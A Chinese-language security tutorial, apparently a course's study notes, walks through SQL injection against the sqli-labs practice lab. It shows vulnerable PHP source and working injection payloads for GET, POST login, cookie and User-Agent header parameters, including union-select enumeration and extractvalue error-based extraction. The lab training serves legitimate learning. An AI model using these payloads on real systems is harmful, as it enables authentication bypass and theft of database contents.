小迪安全 Day14 WEB漏洞-SQL注入之类型及提交注入

说明
- 在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。
简要明确参数类型
- 数字、字符、搜索、JSON等
- 直接输入的则为数字,如果是字符,则需要加上单引号
- 如果网站有搜索功能,那么搜索语句通常使用到%百分号
简要明确请求方法
- GET,POST,COOKIE,REQUEST,HTTP头等
- 其中sql语句干扰符号:’,”,s,),}等,具体需看写法
参数字符型注入测试
- sqli-labs less-5源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-5 Double Query- Single Quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";#SQL执行的语句
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
</font> </div></br></br></br><center>
<img src="../images/Less-5.jpg" /></center>
</body>
</html> $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"SQL执行的语句是采用了’ ‘闭合- 我们要是直接使用
?id=1 and 1=1相当于执行的是SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1;,是不会有任何反应的

- 正确的报错语句
1
2?id=1' and '1'='1
?id=1' and '1'='2

- 相当于在数据库执行
select * from users where id='1' and '1'='1'
- 获取字段
?id=1' order by 4 --+ --+将后面的代码注释不执行
- 在数据库中执行
select * from users where id='1' order by 4;
- less-6源代码
1
2
3
4$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result); - 可以看出采用了双引号的方式进行了编码,绕过方法”闭合前面的引号,后面采用–+注释
?id=1" order by 4 --+
POST数据提交注入测试
- sqli-labs less-11
- 输入错误的用户名密码

- 输入正确的用户名密码

- 源代码,其中加入
echo $sql;回显sql执行命令1
2
3
4
5// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
echo $sql;
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
使用hackbar模拟post数据提交测试
- hackbar安装地址:https://github.com/HCTYMFF/hackbar2.1.3
使用hackbar进行登录测试
- 一般的登录情况都是采用的post提交数据、通过抓包获取到登录信息将它放在hackbar中进行登录测试,也是为了验证hackbar是否能正常使用,要是确认hackbar能正常使用这个可以跳过。
- 进行登录,然后使用burp抓包获取登录信息

- 获取到的登录信息
1
uname=Dumb&passwd=Dumb&submit=Submit
- 在hackbar当中进行测试,输入post data

- 登录成功
枚举数据库字段

- post data以下内容
1
uname=admin' order by 3#&passwd=admin&submit=Submit
- 在mysql当中一般注释后面的字句是采用
--+,在有些字句中采用#注释。 - 需要多测试才能发现,为了验证
#是注释符号,将#替换为--+执行,查看结果看到报错信息
- 在数据库当中执行

- 可以得出结论,最终验证
#是注释了后面的字句 - 将order by 3改成2查看
uname=admin' order by 2#&passwd=admin&submit=Submit
- 可以看到登录成功,但实际上登录的用户名密码是错误的,因为只将sql语句注入进去没有报错,下面的语句正常的执行就显示登录成功
- 换句话说就是登录到情况只有两个字段,很可能就是用户名密码。
枚举出数据库的名称
uname=admin' and 1=2 union select database(),2 #&passwd=admin&submit=Submit

参数JSON数据注入测试
- 本地环境代码演示
- json格式

- json注入

- 注入方式:如果是数字的,可以不加
'闭合,如果是字符的话,加上"闭合
COOKIE数据提交注入测试
- sqli-labs less-20
网站传递参数的方式
| 参数类型 | 含义 |
|---|---|
| get型 | 一般访问网站的行为 |
| cookie型 | 伴随着访问网页的行为 |
| post型 | 上传文件,登录 |
- cookie注入原理:对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数。
- cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。
- 条件一:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤
- 条件二: 条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。
- 通过burp抓包分析



- 这里在数据包当中发现了一个带cookie的参数
Cookie: uname=Dumb - 将这个数据包发送到repeater(重发器)当中
- 并修改cookie参数
Cookie: uname=Dumb' and 1=2 union select database(),2,3 #
- 写改为
Cookie: uname=Dumb' and 1=2 union select user(),2,3 #
HTTP头部参数数据注入测试
- sqli-labs less-18
- 查看数据库源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
} - 根据源代码可以看出,对执行的insert语句没有任何的限制,也就是说我们通过修改http的头部信息可以达到sql注入的效果
- 为方便实验,在103行加入sql语句的显示界面
echo $insert;
- 修改数据包注入,获取数据库名称
User-Agent: 'and extractvalue (1,concat(0x7e,(select database()),0x7e)) and'
- 获取用户名
User-Agent: 'and extractvalue (1,concat(0x7e,(select user()),0x7e)) and' Firefox/116.0
评论
